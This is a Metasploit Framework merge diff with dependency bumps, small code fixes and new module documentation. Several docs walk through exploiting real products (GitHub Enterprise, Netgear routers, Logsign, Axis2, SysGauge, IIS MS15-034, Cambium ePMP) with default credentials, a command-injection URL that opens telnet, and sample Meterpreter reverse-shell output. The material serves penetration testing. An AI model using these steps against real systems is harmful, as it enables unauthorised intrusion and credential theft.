Merge branch 'dmchell-cve-2017-7269' into iis_6_sc-dev

bug/bundler_fix
dmchell 2017-03-28 19:33:37 +01:00 committed by GitHub
commit 8b3fe0ac06
50 changed files with 2903 additions and 238 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.14.3)
metasploit-framework (4.14.6)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -16,7 +16,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.2.19)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.7)
metasploit_payloads-mettle (= 0.1.8)
msgpack
nessus_rest
net-ssh
@ -144,7 +144,7 @@ GEM
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.2)
fivemat (1.3.3)
gherkin (4.1.1)
google-protobuf (3.2.0.2)
googleauth (0.5.1)
@ -155,7 +155,7 @@ GEM
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.1.2)
grpc (1.2.0)
google-protobuf (~> 3.1)
googleauth (~> 0.5.1)
i18n (0.8.1)
@ -201,7 +201,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.7)
metasploit_payloads-mettle (0.1.8)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@ -216,7 +216,7 @@ GEM
net-ssh (4.1.0)
network_interface (0.0.1)
nexpose (5.3.1)
nokogiri (1.7.0.1)
nokogiri (1.7.1)
mini_portile2 (~> 2.1.0)
octokit (4.6.2)
sawyer (~> 0.8.0, >= 0.5.3)
@ -335,7 +335,7 @@ GEM
faraday (~> 0.9)
jwt (~> 1.5)
multi_json (~> 1.10)
simplecov (0.14.0)
simplecov (0.14.1)
docile (~> 1.1.0)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@ -348,7 +348,7 @@ GEM
timecop (0.8.1)
tzinfo (1.2.2)
thread_safe (~> 0.1)
tzinfo-data (1.2017.1)
tzinfo-data (1.2017.2)
tzinfo (>= 1.0.0)
windows_error (0.1.1)
xpath (2.0.0)

View File

@ -23,6 +23,10 @@ Remember that these phone numbers must be the same carrier.
The carrier that the targeted numbers use. See **Supported Carrier Gateways** to learn more about
supported carriers.
**SMSSUBJECT**
The text subject.
**SMSMESSAGE**
The text message you want to send. For example, this will send a text with a link to google:

View File

@ -0,0 +1,30 @@
This module dumps Cambium ePMP 1000 device configuration file. An ePMP 1000 box has four (4) login accounts - admin/admin, installer/installer, home/home, and readonly/readonly. This module requires any one of the following login credentials - admin / installer / home - to dump device configuration file.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_config```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_dump_config
msf auxiliary(epmp1000_dump_config) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_dump_config) > set rport 80
msf auxiliary(epmp1000_dump_config) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[+] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7 - dumping configuration
[+] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7:80 - File retrieved successfully!
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_config_216595.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,32 @@
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (<v2.5) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to dump system hashes.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_dump_hashes```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_dump_hashes
msf auxiliary(epmp1000_dump_hashes) > set rhosts 1.3.3.7
msf auxiliary(epmp1000_dump_hashes) > set rport 80
msf auxiliary(epmp1000_dump_hashes) > run
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 2.2...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
[*] ++++++++++++++++++++++++++++++++++++++
[*] 1.3.3.7:80 - [1/1] - dumping password hashes
root:$1$<hash>:0:0:root:/root:/bin/ash
...
...
[*] ++++++++++++++++++++++++++++++++++++++
[+] 1.3.3.7:80 - File retrieved successfully!
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_moduletest_1.3.3.7_ePMP_passwd_282393.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,24 @@
This module scans for Cambium ePMP 1000 management login portal(s), and attempts to identify valid credentials. Default login credentials are - admin/admin, installer/installer, home/home and readonly/readonly.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/epmp1000_web_login```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/epmp1000_web_login
msf auxiliary(epmp1000_web_login) > set rhosts 1.2.3.4
msf auxiliary(epmp1000_web_login) > set username installer
msf auxiliary(epmp1000_web_login) > set password installer
msf auxiliary(epmp1000_web_login) > run
[+] 1.2.3.4:80 - Running Cambium ePMP 1000 version 3.0...
[*] 1.2.3.4:80 - Trying username:"installer" with password:"installer"
[+] SUCCESSFUL LOGIN - 1.2.3.4:80 - "installer":"installer"
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

View File

@ -0,0 +1,61 @@
## Description
This module dumps memory contents using a crafted Range header and affects only Windows 8.1, Server 2012, and Server 2012R2.
**Note:** If the target is running in VMware Workstation, this module has a high likelihood of resulting in BSOD; however, VMware ESX and non-virtualized hosts seem stable. Using a larger target file should result in more memory being dumped, and SSL seems to produce more data as well.
## Verification Steps
1. Do: ```use auxiliary/scanner/http/ms15_034_http_sys_memory_dump```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
4. Do: ```run```
## Sample Output
```
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(ms15_034_http_sys_memory_dump) > set RHOSTS 10.1.1.125
RHOSTS => 10.1.1.125
msf auxiliary(ms15_034_http_sys_memory_dump) > set RPORT 80
RPORT => 80
msf auxiliary(ms15_034_http_sys_memory_dump) > exploit
[+] Target is vulnerable!
[+] Content length is 10240 bytes
[+] Stand by...
[+] Memory contents:
[*] 4854 5450 2f31 2e31 2032 3030 204f 4b0d HTTP/1.1 200 OK.
[*] 0a43 6f6e 7465 6e74 2d54 7970 653a 2074 .Content-Type: t
[*] 6578 742f 6874 6d6c 0d0a 4c61 7374 2d4d ext/html..Last-M
[*] 6f64 6966 6965 643a 204d 6f6e 2c20 3232 odified: Mon, 20
[*] 204a 756e 2032 3031 3520 3134 3a32 313a Mar 2017 21:27:
[*] 3535 2047 4d54 0d0a 4163 6365 7074 2d52 55 GMT..Accept-R
[*] 616e 6765 733a 2062 7974 6573 0d0a 4554 anges: bytes..ET
[*] 6167 3a20 2261 3563 6663 3863 6166 3661 ag: "a5cfc8caf6a
[*] 6364 3031 3a30 220d 0a53 6572 7665 723a cd01:0"..Server:
[*] 204d 6963 726f 736f 6674 2d49 4953 2f38 Microsoft-IIS/8
[*] 2e35 0d0a 582d 506f 7765 7265 642d 4279 .5..X-Powered-By
[*] 3a20 4153 502e 4e45 540d 0a00 0000 0000 : ASP.NET.......
[*] 0000 0202 4672 6167 0000 0000 0000 0000 ....Frag........
[*] c028 0000 0000 0000 0000 0000 0000 0000 .(..............
[*] 0200 0a00 4672 6565 0000 0000 0000 0000 ....Free........
[*] d01e f6c5 02f8 ffff 40a2 6502 00e0 ffff ........@.e.....
[*] 0a00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
[*] 1000 6702 00e0 ffff 3800 0c00 0000 0000 ..g.....8.......
[*] 0000 0000 0000 0000 ba9a e501 00e0 ffff ................
[*] 0090 e501 00e0 ffff 5c00 0000 ba0a 0000 ........\.......
[*] 59a8 1300 0000 0000 0000 0000 0000 0000 Y...............
[*] 0000 0000 0000 0000 0000 0000 0000 e0dc ................
[*] 0d00 0d02 4d64 6c20 0000 0000 0000 0000 ....Mdl ........
[*] 9079 2602 00e0 ffff 3800 1c00 0000 0000 .y&.....8.......
...
...
...
[*] 6079 0702 00e0 ffff 0000 0000 0000 0000 `y..............
[*] 0e00 1902 5669 4d6d 0000 0000 0000 0000 ....ViMm........
[*] Suppressed 346 uninteresting lines
[*] Memory dump saved to /home/rw/.msf4/loot/20150622073911_default_10.1.1.125_iis.ms15034_145400.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ms15_034_http_sys_memory_dump) >
```

View File

@ -0,0 +1,68 @@
This module exploits two security issues found in Github Enterprise 2. The first problem is
that the session management uses a hard-coded secret value, which can be abused to sign a
serialized malicious object. The second problem is that the serialized string is passed to
a ```Marshal.load``` API call, which deserializes the malicious object, and executes it. A
malicious attacker can take advantage of these problems to achieve remote code execution.
According to exablue.de, this RCE was reported to GitHub, and the researcher was rewarded
$18,000 total.
## Vulnerable Application
The following versions are affected:
* 2.8.0 - 2.8.6.
For testing purposes, you can download a Github Enterprise image from the following location:
[https://enterprise.github.com/releases/](https://enterprise.github.com/releases/)
This module was specifically tested against version 2.8.0, which can be downloaded here:
[https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova](https://github-enterprise.s3.amazonaws.com/esx/releases/github-enterprise-2.8.0.ova)
Before you install the image, you must have a valid key. Start from here:
[https://enterprise.github.com/sn-trial](https://enterprise.github.com/sn-trial)
After signing up for a trial, you should receive an e-mail. The email will instruct you to access
your portal account. In there, you can download your github-enterprise.ghl file, which is a key
to complete installing your Github Enterprise system.
## Using github_enterprise_secret
The module consists of two features: the ```check``` command and the ```exploit``` command.
The ```check``` command determines if the host is vulnerable or not by extracting the hash of the
cookie, and then attempts to create the same hash using the default secret key. If the two match,
it means the module can tamper the cookie, and that makes the server vulnerable to deserialization.
```
msf exploit(github_enterprise_secret) > check
[*] Found cookie value: _gh_manage=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZl%0AZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIG%0AOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3Zv%0AQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY%3D%0A--ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed;, checking to see if it can be tampered...
[*] Data: BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTViZTAwNjg4NDViYmYzNWQzMGZlZTRiYWY2YmU4Mzg2MzQ2NjFjODcxYTAyZDZlZjA0YTQ2MWIzNDBiY2VkMGIGOwBGSSIPY3NyZi50b2tlbgY7AFRJIjFZZ0I5ckVkbWhwclpmNWF5RmVia3ZvQzVKMUVoVUxlRWNEbjRYbHplb2R3PQY7AEY=
[*] Extracted HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
[*] Expected HMAC: ab0866fc61ea036b1e83cd65b92c2b6cc5b001ed
[*] The HMACs match, which means you can sign and tamper the cookie.
[+] 192.168.146.201:8443 The target is vulnerable.
msf exploit(github_enterprise_secret) >
```
If vulnerable, the ```exploit``` command will attempt to gain access of the system:
```
msf exploit(github_enterprise_secret) > exploit
[*] Started reverse TCP handler on 192.168.146.1:4444
[*] Serialized Ruby stager
[*] Sending serialized Ruby stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.146.201
[*] Meterpreter session 2 opened (192.168.146.1:4444 -> 192.168.146.201:52454) at 2017-03-23 10:11:17 -0500
[+] Deleted /tmp/htBDuK.bin
[+] Deleted /tmp/kXgpK.bin
[*] Connection timed out
meterpreter >
```

View File

@ -0,0 +1,79 @@
## Vulnerable Application
Download the vulnerable version of OVA or ISO file from following URL. I strongly suggest you to choose OVA.
[http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova](http://s3-eu-west-1.amazonaws.com/innotim/Logsign.ova)
[http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso](http://s3-eu-west-1.amazonaws.com/innotim/forest-4.4.1-12.04.iso)
### Creating A Testing Environment
1. Open OVA file with your preferred virtualisation application.
2. Before starting the virtual machine, choose NAT mode for interface.
3. Once the machine started, you must be seeing following information on screen.
```
Ubuntu 12.04.05 LTS - logsign customer tty1
IP: 12.0.0.10
...
Version: Focus
4.4.2
```
4. Access the management interface by visiting `https://<ip_address>` through your browser.
5. Complete the installation by just submitting the fake data.
**Please follow below instructions if you are seeing different IP address on the screen that doesn't belong to your NAT network range.**
Right after step 3, I've started to see totally different IP address on the screen which was something like 10.0.0.X. Since there is no such a network range in my configuration, it's impossible access to the machine through network. Here is the steps that shows how you can fix this issue. Follow these instructions and then go back to the step 5.
1. Reboot the machine
2. Start pressing ```shift``` button at the very beginning and keep pressing until you see GRUB menu.
3. Choose second line and press enter. We are going to about boot machine with recovery mode.
4. You must be seeing terminal right now. Execute following commands.
```
mount -rw -o remount /
```
5. Execute following command specify a new password for root user.
```
passwd root
```
6. As a final step, reboot the machine.
```
reboot
```
7. Login with your root user.
8. Open ```/etc/network/interfaces``` file and perform necessary changes. Here is my own configuration.
```
address 12.0.0.10
netmask 255.255.255.0
<removed line starting with 'network'>
<removed line starting with 'broadcast'>
gateway 12.0.0.2
dns-nameservers 8.8.8.8
```
9. Reboot the machine for a last time.
## Verification Steps
1. Install the software as documented above
2. Start `msfconsole`
3. `use exploit/linux/http/logsign_exec`
4. `set rhost 12.0.0.10
6. `python/meterpreter/reverse_tcp` is configured as a default payload. Change it if you need. Most of the case, you're okay go with default payload type.
7. `set LHOST 12.0.0.1`
8. `check` and validate that you are seeing following output.
```
[+] 12.0.0.10:80 The target is vulnerable.
```
9. Here you go. Type `exploit` and hit the enter.
```
[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Delivering payload...
[*] Sending stage (38651 bytes) to 12.0.0.10
[*] Meterpreter session 2 opened (12.0.0.1:4444 -> 12.0.0.10:46057) at 2017-02-28 14:11:20 +0100
meterpreter > getuid
Server username: root
meterpreter >
```

View File

@ -1,4 +1,4 @@
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router.
The netgear_r7000_cgibin_exec module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.
## Vulnerable Application
@ -12,47 +12,39 @@ Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and po
3. Do: `set RHOST <RouterIP>`
4. Do: `set PAYLOAD <payload>`
5. Do: `run`
6. If the router is a R7000 or R6400, the module should run
6. If the router is a R7000 or R6400, you should get a session
## Options
**PAYLOAD**
The valid payloads are `cmd/unix` payloads _only_, as this is a command execution module
The valid payloads are `mettle` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`
## Scenarios
Sample output of the options looks like so
Sample output of a successful session:
```
msf exploit(netgear_r7000_cgibin_exec) > options
msf exploit(netgear_r7000_cgibin_exec) > run
Module options (exploit/linux/http/netgear_r7000_cgibin_exec):
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Router is a NETGEAR router (R7000)
[+] Router may be vulnerable (NETGEAR R7000)
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://[redacted]:8080/
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
[*] Server stopped.
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.1 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.153.34 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf exploit(netgear_r7000_cgibin_exec) >
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.1.4
OS : (Linux 2.6.36.4brcmarm+)
Architecture : armv7l
Meterpreter : armle/linux
meterpreter >
```
As you can see, the `uid` is 0, meaning you have root access.

View File

@ -0,0 +1,62 @@
## Description
This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.
## Axis2 Web Admin
The Apache Axis2 Web application has three main sections:'Services' lists all the available services deployed in this server, 'Validate' checks the system to see whether all the required libraries are in place and views the system information, and 'Administration' is the Axis2 Web Administration module which is the console for administering the Apache Axis2 installation. The Axis2 Web Administration module provides a way to configure Axis2 dynamically.
**IMPORTANT:** This dynamic configuration will NOT be persistent, i.e., if the servlet container is restarted, then all the dynamic configuration changes will be lost.
## Verification Steps
1. Do: ```use exploit/multi/http/axis2_deployer```
2. Do: ```set RHOSTS [IP]```
3. Do: ```set RPORT [PORT]```
3. Do: ```set USERNAME [Username]```
4. Do: ```set PASSWORD [Password]```
5. Do: ```run```
## Sample Output
```
msf > use exploit/multi/http/axis2_deployer
msf exploit(axis2_deployer) > set RHOST 10.10.155.37
RHOST => 10.10.155.37
msf exploit(axis2_deployer) > set RPORT 8080
RPORT => 8080
msf exploit(axis2_deployer) > set USERNAME admin
USERNAME => admin
msf exploit(axis2_deployer) > set PASSWORD admin123
PASSWORD => admin123
msf exploit(axis2_deployer) > exploit
[*] Started reverse TCP handler on 10.10.155.39:4444
[+] http://10.10.155.37:8080/axis2/axis2-admin [Apache-Coyote/1.1] [Axis2 Web Admin Module] successful login 'admin' : 'axis2'
[*] Successfully uploaded
[*] Polling to see if the service is ready
[*] Sending stage (30355 bytes) to 10.10.155.37
[*] Meterpreter session 3 opened (10.10.155.39:4444 -> 10.10.155.37:1750) at 2017-03-26 23:33:19 -0500
[*] NOTE: You will need to delete the web service that was uploaded.
[*] Using meterpreter:
[*] rm "webapps/axis2/WEB-INF/services/mdLFvgMv.jar"
[*] Using the shell:
[*] cd "webapps/axis2/WEB-INF/services"
[*] del mdLFvgMv.jar
meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : juan-6ed9db6ca8
OS : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 10.10.155.37 - Meterpreter session 3 closed. Reason: User exit
```

View File

@ -0,0 +1,41 @@
## Vulnerable Application
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell.
he software is available for download from [SysGauge](http://www.sysgauge.com/setups/sysgauge_setup_v1.5.18.exe).
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: ```use exploit/windows/smtp/sysgauge_client_bof```
4. Do: ```set payload windows/meterpreter/reverse_tcp```
5. Do: ```set LHOST ip```
6. Do: ```run```
7. The user should put your `SRVHOST` or other applicable IP address in the SMTP configuration
in the program, and hit the "Verify Email ..." button.
8. You should get a shell.
## Scenarios
Here is how to typically execute the module. Note that the client must input this SMTP server
information under SysGauge Options and hit the "Verify Email ..." button.
```
msf > use exploit/windows/smtp/sysgauge_client_bof
msf exploit(sysgauge_client_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(sysgauge_client_bof) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf exploit(sysgauge_client_bof) > exploit
[*] Exploit running as background job.
msf exploit(sysgauge_client_bof) >
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Server started.
[*] Client connected: 10.0.0.128
[*] Sending payload...
[*] Sending stage (957487 bytes) to 10.0.0.128
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.128:49165) at 2017-03-14 23:15:04 -0500
```

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.14.3"
VERSION = "4.14.6"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -0,0 +1,113 @@
module Msf
###
#
# This module provides a complete port of the libc rand() and srand() functions.
# It is used by the NETGEAR WNR2000v5 auxiliary and exploit modules, but might
# be useful for any other module that needs to emulate C's random number generator.
#
# Author: Pedro Ribeiro (pedrib@gmail.com) / Agile Information Security
#
###
module Auxiliary::CRand
attr_accessor :randtbl
attr_accessor :unsafe_state
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
def initialize(info = {})
super
@randtbl =
[
# we omit TYPE_3 from here, not needed
-1726662223, 379960547, 1735697613, 1040273694, 1313901226,
1627687941, -179304937, -2073333483, 1780058412, -1989503057,
-615974602, 344556628, 939512070, -1249116260, 1507946756,
-812545463, 154635395, 1388815473, -1926676823, 525320961,
-1009028674, 968117788, -123449607, 1284210865, 435012392,
-2017506339, -911064859, -370259173, 1132637927, 1398500161,
-205601318,
]
@unsafe_state = {
"fptr" => SEP_3,
"rptr" => 0,
"state" => 0,
"rand_type" => TYPE_3,
"rand_deg" => DEG_3,
"rand_sep" => SEP_3,
"end_ptr" => DEG_3
}
end
# Emulate the behaviour of C's srand
def srandom_r (seed)
state = @randtbl
if seed == 0
seed = 1
end
state[0] = seed
dst = 0
word = seed
kc = DEG_3
for i in 1..(kc-1)
hi = word / 127773
lo = word % 127773
word = 16807 * lo - 2836 * hi
if (word < 0)
word += 2147483647
end
dst += 1
state[dst] = word
end
@unsafe_state['fptr'] = @unsafe_state['rand_sep']
@unsafe_state['rptr'] = 0
kc *= 10
kc -= 1
while (kc >= 0)
random_r
kc -= 1
end
end
# Emulate the behaviour of C's rand
def random_r
buf = @unsafe_state
state = buf['state']
fptr = buf['fptr']
rptr = buf['rptr']
end_ptr = buf['end_ptr']
val = @randtbl[fptr] += @randtbl[rptr]
result = (val >> 1) & 0x7fffffff
fptr += 1
if (fptr >= end_ptr)
fptr = state
rptr += 1
else
rptr += 1
if (rptr >= end_ptr)
rptr = state
end
end
buf['fptr'] = fptr
buf['rptr'] = rptr
result
end
end
end

View File

@ -4,6 +4,7 @@
# Auxiliary mixins
#
require 'msf/core/auxiliary/auth_brute'
require 'msf/core/auxiliary/crand'
require 'msf/core/auxiliary/dos'
require 'msf/core/auxiliary/drdos'
require 'msf/core/auxiliary/fuzzer'

View File

@ -22,7 +22,8 @@ module Msf
OptString.new('SMTPPASSWORD', [true, 'The SMTP password to use to send the text messages']),
OptEnum.new('SMSCARRIER', [true, 'The targeted SMS service provider', nil,Rex::Proto::Sms::Model::GATEWAYS.keys.collect { |k| k.to_s }]),
OptString.new('CELLNUMBERS', [true, 'The phone numbers to send to']),
OptString.new('SMSMESSAGE', [true, 'The text message to send'])
OptString.new('SMSMESSAGE', [true, 'The text message to send']),
OptString.new('SMSSUBJECT', [false, 'The text subject', ''])
], Auxiliary::Sms)
register_advanced_options(
@ -42,10 +43,11 @@ module Msf
# sms.send_text_to_phones(numbers, 'Hello from Gmail')
#
# @param phone_numbers [<String>Array] An array of numbers of try (of the same carrier)
# @param subject [String] The text subject
# @param message [String] The text to send.
#
# @return [void]
def send_text(phone_numbers, message)
def send_text(phone_numbers, subject, message)
smtp = Rex::Proto::Sms::Model::Smtp.new(
address: datastore['SMTPADDRESS'],
port: datastore['SMTPPORT'],
@ -57,7 +59,7 @@ module Msf
carrier = datastore['SMSCARRIER'].to_sym
sms = Rex::Proto::Sms::Client.new(carrier: carrier, smtp_server: smtp)
sms.send_text_to_phones(phone_numbers, message)
sms.send_text_to_phones(phone_numbers, subject, message)
end
end

View File

@ -135,6 +135,7 @@ module RFTransceiver
def rfrecv(timeout = -1, blocksize = -1)
return "" if not is_rf?
self.index ||= 0
opts = {}
opts["timeout"] = timeout if not timeout == -1
opts["blocksize"] = blocksize if not blocksize == -1
client.rftransceiver.rfrecv(self.index, opts)

View File

@ -122,6 +122,11 @@ module ModuleCommandDispatcher
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
if args.first =~ /^\-h$/i
cmd_check_help
return
end
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
opt = Msf::OptAddressRange.new('RHOSTS')
@ -162,6 +167,32 @@ module ModuleCommandDispatcher
end
end
def cmd_check_help
print_line('Usage: check [option] [IP Range]')
print_line
print_line('Options:')
print_line('-h You are looking at it.')
print_line
print_line('Examples:')
print_line('')
print_line('Normally, if a RHOST is already specified, you can just run check.')
print_line('But here are different ways to use the command:')
print_line
print_line('Against a single host:')
print_line('check 192.168.1.123')
print_line
print_line('Against a range of IPs:')
print_line('check 192.168.1.1-192.168.1.254')
print_line
print_line('Against a range of IPs loaded from a file:')
print_line('check file:///tmp/ip_list.txt')
print_line
print_line('Multi-threaded checks:')
print_line('1. set THREADS 10')
print_line('2. check')
print_line
end
def report_vuln(instance)
framework.db.report_vuln(
workspace: instance.workspace,

View File

@ -1,108 +1,95 @@
# -*- coding: binary -*-
# frozen_string_literal: true
require 'shellwords'
module Rex
module Parser
###
#
# This class parses arguments in a getopt style format, kind of.
# Unfortunately, the default ruby getopt implementation will only
# work on ARGV, so we can't use it.
#
###
class Arguments
#
# Specifies that an option is expected to have an argument
#
HasArgument = (1 << 0)
#
# Initializes the format list with an array of formats like:
#
# Arguments.new(
# '-b' => [ false, "some text" ]
# )
#
def initialize(fmt)
self.fmt = fmt
# I think reduce is a better name for this method, but it doesn't exist
# before 1.8.7, so use the stupid inject instead.
self.longest = fmt.keys.inject(0) { |max, str|
max = ((max > str.length) ? max : str.length)
}
end
#
# Takes a string and converts it into an array of arguments.
#
def self.from_s(str)
Shellwords.shellwords(str)
end
#
# Parses the supplied arguments into a set of options.
#
def parse(args, &block)
skip_next = false
args.each_with_index { |arg, idx|
if (skip_next == true)
skip_next = false
next
module Parser
###
#
# This class parses arguments in a getopt style format, kind of.
# Unfortunately, the default ruby getopt implementation will only
# work on ARGV, so we can't use it.
#
###
class Arguments
#
# Initializes the format list with an array of formats like:
#
# Arguments.new(
# '-b' => [ false, "some text" ]
# )
#
def initialize(fmt)
self.fmt = fmt
self.longest = fmt.keys.max_by(&:length)
end
if (arg.match(/^-/))
cfs = arg[0..2]
#
# Takes a string and converts it into an array of arguments.
#
def self.from_s(str)
Shellwords.shellwords(str)
end
fmt.each_pair { |fmtspec, val|
next if (fmtspec != cfs)
#
# Parses the supplied arguments into a set of options.
#
def parse(args, &_block)
skip_next = false
param = nil
if (val[0])
param = args[idx+1]
skip_next = true
args.each_with_index do |arg, idx|
if skip_next
skip_next = false
next
end
yield fmtspec, idx, param
}
else
yield nil, idx, arg
if arg[0] == '-'
cfs = arg[0..2]
fmt.each_pair do |fmtspec, val|
next if fmtspec != cfs
param = nil
if val[0]
param = args[idx + 1]
skip_next = true
end
yield fmtspec, idx, param
end
else
yield nil, idx, arg
end
end
end
}
#
# Returns usage information for this parsing context.
#
def usage
txt = ["\nOPTIONS:\n"]
fmt.sort.each do |entry|
fmtspec, val = entry
opt = val[0] ? " <opt> " : " "
txt << " #{fmtspec.ljust(longest.length)}#{opt}#{val[1]}"
end
txt << ""
txt.join("\n")
end
def include?(search)
fmt.include?(search)
end
def arg_required?(opt)
fmt[opt][0] if fmt[opt]
end
attr_accessor :fmt # :nodoc:
attr_accessor :longest # :nodoc:
end
end
#
# Returns usage information for this parsing context.
#
def usage
txt = "\nOPTIONS:\n\n"
fmt.sort.each { |entry|
fmtspec, val = entry
txt << " #{fmtspec.ljust(longest)}" + ((val[0] == true) ? " <opt> " : " ")
txt << val[1] + "\n"
}
txt << "\n"
return txt
end
def include?(search)
return fmt.include?(search)
end
def arg_required?(opt)
fmt[opt][0] if fmt[opt]
end
attr_accessor :fmt # :nodoc:
attr_accessor :longest # :nodoc:
end
end
end

View File

@ -106,7 +106,7 @@ class RFTransceiver < Extension
end
if opt.has_key? "blocksize"
request += "&" if not first
request += "blocksize=#{blocksize}"
request += "blocksize=#{opt['blocksize']}"
end
end
data = client.send_request(request)

View File

@ -63,12 +63,13 @@ class Console::CommandDispatcher::Stdapi::Sys
# Options for the 'ps' command.
#
@@ps_opts = Rex::Parser::Arguments.new(
"-S" => [ true, "String to search for (converts to regex)" ],
"-h" => [ false, "Help menu." ],
"-A" => [ true, "Filters processes on architecture" ],
"-s" => [ false, "Show only SYSTEM processes" ],
"-c" => [ false, "Show only child processes of the current shell" ],
"-U" => [ true, "Filters processes on the user using the supplied RegEx"])
"-S" => [ true, "Filter on process name" ],
